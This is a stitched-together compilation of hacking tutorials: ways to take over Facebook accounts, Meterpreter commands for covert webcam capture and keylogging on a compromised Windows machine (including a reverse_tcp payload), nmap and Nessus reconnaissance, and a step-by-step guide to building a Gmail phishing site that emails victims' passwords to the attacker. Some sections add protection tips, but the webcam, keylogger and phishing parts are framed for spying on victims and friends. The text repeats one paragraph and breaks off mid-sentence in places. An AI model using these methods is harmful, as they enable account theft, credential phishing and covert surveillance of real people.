Four Ways To Hack And Crack Facebook Username And Password

NULL BYTE

HOW TO
4 Ways to Crack a Facebook Password & How to Protect Yourself from Them

Despite the security concerns that have plagued Facebook for years, most people are sticking around and new members keep on joining. This has led Facebook to break records numbers with over one billion monthly active users as of October 2012—and around 600 million active daily users.

We share our lives on Facebook. We share our birthdays and our anniversaries. We share our vacation plans and locations. We share the births of our sons and the deaths of our fathers. We share our most cherished moments and our most painful thoughts. We divulge every aspect of our lives. We even clamor to see the latest versions even before they're ready for primetime.

But we sometimes forget who's watching.

We use Facebook as a tool to connect, but there are those people who use that connectivity for malicious purposes. We reveal what others can use against us. They know when we're not home and for how long we're gone. They know the answers to our security questions. People can practically steal our identities—and that's just with the visible information we purposely give away through our public Facebook profile.

Image via Digital Trends
The scariest part is that as we get more comfortable with advances in technology, we actually become more susceptible to hacking. As if we haven't already done enough to aid hackers in their quest for our data by sharing publicly, those in the know can get into our emails and Facebook accounts to steal every other part of our lives that we intended to keep away from prying eyes.

In fact, you don't even have to be a professional hacker to get into someone's Facebook account.

It can be as easy as running Firesheep on your computer for a few minutes. In fact, Facebook actually allows people to get into someone else's Facebook account without knowing their password. All you have to do is choose three friends to send a code to. You type in the three codes, and voilà—you're into the account. It's as easy as that.

In this article I'll show you these, and a couple other ways that hackers (and even regular folks) can hack into someone's Facebook account. But don't worry, I'll also show you how to prevent it from happening to you.

Method 1
Reset the Password
The easiest way to "hack" into someone's Facebook is through resetting the password. This could be easier done by people who are friends with the person they're trying to hack.

The first step would be to get your friend's Facebook email login. If you don't already know it, try looking on their Facebook page in the Contact Info section.
Next, click on Forgotten your password? and type in the victim's email. Their account should come up. Click This is my account.
It will ask if you would like to reset the password via the victim's emails. This doesn't help, so press No longer have access to these?
It will now ask How can we reach you? Type in an email that you have that also isn't linked to any other Facebook account.
It will now ask you a question. If you're close friends with the victim, that's great. If you don't know too much about them, make an educated guess. If you figure it out, you can change the password. Now you have to wait 24 hours to login to their account.
If you don't figure out the question, you can click on Recover your account with help from friends. This allows you to choose between three and five friends.

It will send them passwords, which you may ask them for, and then type into the next page. You can either create three to five fake Facebook accounts and add your friend (especially if they just add anyone), or you can choose three to five close friends of yours that would be willing to give you the password.

How to Protect Yourself
Use an email address specifically for your Facebook and don't put that email address on your profile.
When choosing a security question and answer, make it difficult. Make it so that no one can figure it out by simpl

How to Protect Yourself
Use an email address specifically for your Facebook and don't put that email address on your profile.
When choosing a security question and answer, make it difficult. Make it so that no one can figure it out by simply going through your Facebook. No pet names, no anniversaries—not even third grade teacher's names. It's as easy as looking through a yearbook.
Learn about recovering your account from friends. You can select the three friends you want the password sent to. That way you can protect yourself from a friend and other mutual friends ganging up on you to get into your account.
Method 2
Use a Keylogger
Software Keylogger

A software keylogger is a program that can record each stroke on the keyboard that the user makes, most often without their knowledge. The software has to be downloaded manually on the victim's computer. It will automatically start capturing keystrokes as soon as the computer is turned on and remain undetected in the background. The software can be programmed to send you a summary of all the keystrokes via email.

CNET has Free Keylogger, which as the title suggests, is free. If this isn't what you're looking for, you can search for other free keyloggers or pay for one.

Hardware Keylogger

These work the same way as the software keylogger, except that a USB drive with the software needs to be connected to the victim's computer. The USB drive will save a summary of the keystrokes, so it's as simple as plugging it to your own computer and extracting the data. You can look through Keelog for prices, but it's bit higher than buying the software since you have the buy the USB drive with the program already on it.

How to Protect Yourself
Use a firewall. Keyloggers usually send information through the internet, so a firewall will monitor your computer's online activity and sniff out anything suspicious.
Install a password manager. Keyloggers can't steal what you don't type. Password mangers automatically fill out important forms without you having to type anything in.
Update your software. Once a company knows of any exploits in their software, they work on an update. Stay behind and you could be susceptible.
Change passwords. If you still don't feel protected, you can change your password bi-weekly. It may seem drastic, but it renders any information a hacker stole useless.

Phishing
This option is much more difficult than the rest, but it is also the most common method to hack someone's account. The most popular type of phishing involves creating a fake login page. The page can be sent via email to your victim and will look exactly like the Facebook login page. If the victim logs in, the information will be sent to you instead of to Facebook. This process is difficult because you will need to create a web hosting account and a fake login page.

The easiest way to do this would be to follow our guide on how to clone a website to make an exact copy of the facebook login page. Then you'll just need to tweak the submit form to copy / store / email the login details a victim enters. If you need help with the exact steps, there are detailed instructions available by Alex Long here on Null Byte. Users are very careful now with logging into Facebook through other links, though, and email phishing filters are getting better every day, so that only adds to this already difficult process. But, it's still possible, especially if you clone the entire Facebook website.

How to Protect Yourself
Don't click on links through email. If an email tells you to login to Facebook through a link, be wary. First check the URL (Here's a great guide on what to look out for). If you're still doubtful, go directly to the main website and login the way you usually do.
Phishing isn't only done through email. It can be any link on any website / chat room / text message / etc. Even ads that pop up can be malicious. Don't click on any sketchy looking links that ask for your information.
Use anti-virus & web security software, like Norton or McAfee.

Stealing Cookies
Cookies allow a website to store information on a user's hard drive and later retrieve it. These cookies contain important information used to track a session that a hacker can sniff out and steal if they are on the same Wi-Fi network as the victim. They don't actually get the login passwords, but they can still access the victim's account by cloning the cookies, tricking Facebook into thinking the hacker's browser is already authenticated.

Image via Wikimedia Commons
Firesheep is a Firefox add-on that sniffs web traffic on an open Wi-Fi connection. It collects the cookies and stores them in a tab on the side of the browser.

From there, the hacker can click on the saved cookies and access the victim's account, as long as the victim is still logged in. Once the victim logs out, it is impossible for the hacker to access the account.

A Couple More Facebook Hacks
For those with a bit more technical skill, check out the Same Origin Policy Facebook hack and the somewhat easier, Facebook Password Extractor. We will continue add more Facebook hacks in the near future, so keep coming back here.

How to Protect Yourself
On Facebook, go to your Account Settings and check under Security. Make sure Secure Browsing is enabled. Firesheep can't sniff out cookies over encrypted connections like HTTPS, so try to steer away from HTTP.
Full time SSL. Use Firefox add-ons such as HTTPS-Everywhere or Force-TLS.
Log off a website when you're done. Firesheep can't stay logged in to your account if you log off.
Use only trustworthy Wi-Fi networks. A hacker can be sitting across from you at Starbucks and looking through your email without you knowing it.
Use a VPN. These protect against any sidejacking from the same WiFi network, no matter what website you're on as all your network traffic will be encrypted all the way to your VPN provider.
Protecting Yourself: Less Is More
Social networking websites are great ways to stay connected with old friends and meet new people. Creating an event, sending a birthday greeting and telling your parents you love them are all a couple of clicks away.

Facebook isn't something you need to steer away from, but you do need to be aware of your surroundings and make smart decisions about what you put up on your profile. The less information you give out on Facebook for everyone to see, the more difficult you make it for hackers.

If your Facebook account ever gets hacked, check out our guide on getting your hacked Facebook account back for information on restoring your account.

Bonus: If you're interested in who's checking you out, there are some ways you can (kindof) track who's viewed your Facebook profile.

Hacking Webcam

It’s time to let out your inner creep. In this tutorial, we’ll be taking a look at how we can hack a webcam remotely and take a peek at what’s going on at the other side. We’ll use the powerful Meterpreter to hack into the victim’s webcam. We’ll take full control of the webcam, turn it on and get snapshots without anyone ever finding out (ideally).
In early 2014, a hacker was sentenced to 18 months for doing just this to Miss Teen USA, 2013. He broke into the computer, took a few clicks and blackmailed the victim to send more photos. (Google it up for more information) While the exact method he used is unknown, it’s very likely this exact method that we’ll be trying out. The point of this tutorial is to show just how easy it really is. While developing your own hacks and discovering loop holes is a whole different level of hacking, quite a lot of hacking can be done just by knowing a surprisingly small number of things. Perhaps not even that, after all we can simply search an exploit in metasploit and a get a whole list of things that’ll work. The hard part of hacking is breaking into a system while maintaining anonymity. Once that is done, we pretty much own the target system. Hacking is not about being a computer geek as much as being ‘in the know’.
Our best friend Meterpreter is going to help us with this hack. With Meterpreter we can install a keylogger, hack the webcam and the list goes on and on. You can basically do almost anything that you can do on your own computer, to your victim. All we need for this hack, is to first break in with Metasploit and install meterpreter on their system. How do we do that?
After picking an attack module to exploit a vulnerability, we have the option to set a payload. The payload tells metasploit what to do on the victim’s computer once it breaks in. Meterpreter is a payload. The command usually looks like:
Set payload windows/meterpreter/reverse_tcp
If the attack was successful, metasploit automatically installs meterpreter on the target system and we can move on to hacking the webcam, in this case. We can also get our meterpreter session by using exploits like Aurora (for IE6). After getting the meterpreter session in our command, you can follow the steps below to hack the webcam.
Step 1: Find if there is a webcam.
Metasploit’s Meterpreter has a built-in module for searching and controlling the remote system’s webcam (Because apparently there are so many creepy hackers that we now have this hack at our fingertips). We can start off by searching if the system even has a webcam or not.me. The command below is used for that, it also returns us the name of the webcam.
meterpreter > webcam_list
If a webcam was found, Meterpreter will them all out. Usually we just find one.
Step 2: Say Cheese!
If the last command gave us a webcam we can go ahead and snap a photo:
meterpreter > webcam_snap
If all went fine a picture will be saved in the directory: /opt/framework3/msf3 We can simply go there and see what we got. We can’t do anything about the quality of the image, it all depends on the webcam. Still, better than nothing, right?
Step 3: Streaming video.
So we got a picture, let’s see how to get a live video stream. We can do this by typing the command below: (We’re using –p parameter to specify the directory we want to give to the video streaming file)
meterpreter > run webcam -p /var/www
This command fires up the victim’s webcam and sends its video output to /var/www/webcam.htm. You can open up this file and check out what’s going on at the other end in live video feed.
Another thing that deservers mention here is the little light that is often found next to many laptop cameras and on some separate webcams too. Will the light be turned on by this hack? It depends on the way the camera manufacture implemented the ‘take a photo’ and ‘take a video’ functions and on which software is set as default to use the camera. So this hack is not all that risk-free. But then again, what’s life without a lit

How To Gather Secret Information Online

Nmap (“Network Mapper”) is a free and open source utility for network exploration and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters//firewalls are in use, and dozens of other functions. It was designed to rapidly scan large networks, but works just fine against single hosts. Nmap runs on all major computer operating systems, and both console and graphical versions are available. But while learning using console is always better so as to give the user an idea of every little thing that is happening, Hence I’ll be using only console here.
Nmap is built in feature of Metasploit, so you won’t have to download anything. Before starting I implore the user to view the inbuilt help secion in every backtrack tool, experiment with every single option since it is only by doing can one learn Pen Testing.(For example, simply typing “nmap” in console opens up the help section) Open Metasploit console or the BackTrack konsole and type: Nmap (IP Address) -(options that you want).
For example:
nmap 192.168.2.104 -sV This would give us all the services that are running and their version. If they are outdated, they are more likely to be exploitable.
Take note of service names. For example, if you see MSRPC running on port 135, then in metasploit console type:
search MSRPC
This would return all exploits that could be used later on. However, what if we got this as a scan result?
Microsoft-DS 445/TCP Open# Smb directly over IP
We could also go to http://www.metasploit.com and type service name in the search box. It might return a matching exploit that we need, if not the service might be new or is not exploitable – Move on to the next. ExploitDB is also very useful. (http://www.exploit-db.com)
You will often find yourself in a situation where target is protected by firewall. To scan for open ports when he has it turned on, do:
nmap (IP) -sV -Pn
Over time you will memorize a lot of exploits. But always remember that there is always much more to learn, you just must be willing to give it all you got.(In fact, the Metasploit database is updated several times a day so even the experts have a tough time keeping up !). (You will learn to exploit in the next sections)
Nessus:
Nessus is world’s leading and most popular vulnerability scanner and for a good reason. It’s awesome. It finds all vulnerabilities and makes the job much easier because you can import nessus scan to metasploit and directly get to exploiting. This will automatically find any exploits straight away usable against any target. Okay, so let’s start! Setting up Nessus requires some formalities. First we need to make an account. Go to http://www.nessus.org/products/nessus and register(It’s in the download link).
Activation code will be sent to your email address. You want to copy it. Now open Backtrack console and type:
/opt/nessus/bin/nessus-fetch -register *Your code*
Nessus will start fetching latest plugins. This might take a while so be patient. Next, you want to create a new user. Do this by typing:
/opt/nessus/sbin/nessus-adduser
Now input your username and password. That’s it. Now we need to start Nessus itself. In console, type:
/etc/init.d/nessusd start
You have successfully installed Nessus on BackTrack.
Open Nessus interface by going to this address in your browser.
http://127.0.0.1:8834
Input Username and Password and you’re in. Nessus has some pretty cool features. You can add your own Policies by clicking on Policies tab. There you can enable/disable Nessus scan options.
Let’s continue. Click scans and then hit add. Input scan name, Policy and Input Address/es that you want to scan. For local network scan choose network policy. For scanning over Internet choose policy that will scan external IPs. After the scan is complete, click on it and then click download report. Save it as .nbe file that we will use later on. This can be later used for automated exploitation.
This is the absolute minimum any BackTrack user should know about Reconnaissance. Due to space restrictions, I don’t think it would be practical to list every single option for every single BackTrack tool here, in this website. Every situation needs a different set of actions, which one can only learn by him/herself. So, look around and check out every single option offered by the various tools in BackTrack and you just might find something that can make your goal for hacking something extremely easier.

How To Do KeyLogging ---A Way To Spy Your Friends Password And Username

In this tutorial, we’ll attempt to remotely install a keylogger. This one is actually quite basic, so without further ado, let’s begin.
Fire up Metasploit and let’s get started. Like before, we’re assuming that the system has already been broken into and we have the meterpreter session.
Step 1: Find a program.
The way the keylogger in Meterpreter works is, you have to attach it to a running program. Say for example, we find that the victim’s computer is running an internet browser, a game and MS Word. Clearly there’s two items of interest in there. We can attach the keylogger to the browser or MS Word to get whatever’s being typed in these two applications. So, first we check what all processes are running on the target system using the following command:
meterpreter >ps
Usually you’ll get a very long list of items. The two columns we’re interested in are PID (Process ID) and process name. For this step you may want to google up the names of some processes to see which programs they belong to or if you find the ones you know of, like chrome.exe (Google Chrome) or notepad.exe then you can use these. We need to migrate meterpreter to the corresponding PID. Suppose we found wordpad.exe at PID=1440
meterpreter > migrate 1440
You should see a message “Migration completed successfully”.
Step 2: Start the Keylogger
Now we can embed the keylogger into the program.The Meterpreter keylogger is a built-in feature called keyscan. We can start it up by the following command:
meterpreter> keyscan_start
This should successfully attach the keylogger to our preferred program and the keylogging will start immediately.
Step 3: Dump the logged Keystrokes
So, in the previous step we hooked up a keylogger to the WordPad application running on our victim’s computer. It’ll keep running until we tell it to stop (or the victim shuts down the computer). We can recover whatever the keylogger has logged by the following command. You might want to wait a while, maybe grab a snack while the keylogger is running on the system just to give it enough time to log something. It’s pretty much hit and trial since we don’t know when the victim is going to choose the application we’re keylogging and type something in it. They could be typing in it just as we hooked up the keylogger or they may not use the application for hours.
meterpreter> keyscan_dump
If all went great and the victim actually typed something in our chosen application meterpreter will print out everything in our command shell. You could try using different applications to get different results. Obviously you’ll not get anyone’s passwords by keylogging WordPad whereas chrome.exe and firefox.exe are much more likely to give us something of more interest.

Hacking Gmail Using Psiphing Method And Prevention

Hello, in this tutorial you will learn how to Hacking GMail Using Phishing Method and Prevention utilizing Wapka that send the passwords,Gmail id,browser and IP address of the victim to your email id.

About Wapka

Wapka is free website creation platform with free website hosting where we can create phising website in minute and good thing about wapka is that it is very user friendly and we don’t need to much deep info about PHP or MySql.

A huge advantage provided by wapka is that it doesn’t block our account while we are performing our phishing attack as other free hosting websites does.

Audience

This tutorial is designed for everyone who like hacking but don’t want to learn high coding skills.

Requirements

A mail account for registration.
Basic knowledge of HTML.
Basic knowledge of Gmail.
Basic knowledge of Website Creation.
A Victim
Overview

We are going to create a phishing website which will looks like Gmail mobile website and send us victim details in our email id with passwords , email id , IP address and browser information.

Purpose of this tutorials and how will it benefit to you.

I always want to learn hacking from childhood but the main problems is hacking is not easy at its shows in movie .It need a lot of technical knowledge like coding skills , programming and a lot more.

This is the situation when we need this tutorial come into light. Phishing is the easiest method to hack Facebook and Gmail account.Phishing doesn’t need any type of technical knowledge. You can create a phishing website just by copy and paste in a simple page of HTML code.

Step by Step Guide Hacking GMail Using Phishing Method and Prevention:

1. Register a new Wapka Account First create a new wapka account by clicking here.

2. Now login to your account and go to Site List and create a new site.

3. Enter site name [ using a to z character and 0 to 9 numbers , no special character allowed]

4. In my case, I have created newgmail21@wapka.mobi Then click on Manage. You will find this screen.

5. Now you have 2 modes available, Click on Admin mode.

6. As you click on Admin mode you redirects to a Blank page. it’s blank because till now you do nothing to your newly created site. At the Lower right most corner you have a link ::EDIT SITE(#):: click on it.

7. You will see this screen with lot of option Now you need to click at Mail form.

8. You will get following screen .Enable CAPTCHA pictures: (uncheck it).

Now press Submit & Remember Don’t set it admin mode.

9. Now Your need your site id to get victim details at your registered email id.

Step by Step to get your site id Follow the steps:9a. Go to site list then click on your site. Don’t click on admin mode , Scroll down and click on source code viewer.

9b. and now put your site link in the box then you will find this . Check Value [In My Case It Is 184249271 ] and note it.

Now the main work of this tutorial is collecting like the value=”184249271″ code by source. You need to search that value carefully.

10. After Getting the value=”XXXXXXXX” code you must hide the mailform in Admin Mode. To hide it on Admin Mode.

Click at your site than admin mode .Now here you will find blank site. Just Click it “Edit site ” like step no 3, then click Users.

Click at Items visibility and choose X from drop down menu.

Now it’s Done. Here is the Final steps.

11. Click on your site in admin mode then click Edit site than WML/XHTML code and paste there this phishing code.

CLICK TO DOWNLOAD CODE

12. Replace the value=”XXXXXXX” to yours. This is how your newly made phishing website will look.

13. Now the main Question that How can i get The Hacked Username and Password? When some one will enter details about his/her in your phishing site you will get a email from wapka.mobi like this and you will get the hacked User name & Password [With IP Address and Browser ] at your Mail inbox which you have used in Wapka.mobi Registration.

Addition Note

You can not share wapka url at Facebook as they have blocked all wapka url.
You can not surf wapka site in India because Government of India blocked all wapka site from January ,2016. [You need to use proxy site to to perform all above task.]
How Attacker Get more victim

They Shorten their phishing website url.
They share URL in whatsapp/viber group where people don’t have understanding about computer security.
They use social engineering to get more victims.
They send this URL by email to victims.
How to prevent yourself from Hacking GMail Using Phishing Method attacks

Check the URL bar and make sure it has “https” because every Google site enables https.
Don’t click any link in Whatsapp, social media and in SMS which claims “Free Offer, Free Lottery ,Free Insurance,Free Net” etc.
Don’t Click any unknown email especially from girls name . This is one of social engineering tricks.

Conclusion

The best method to getting more clients is social engineering and same the best method to prevent yourself from phishing is “not to catch yourself in social engineering “.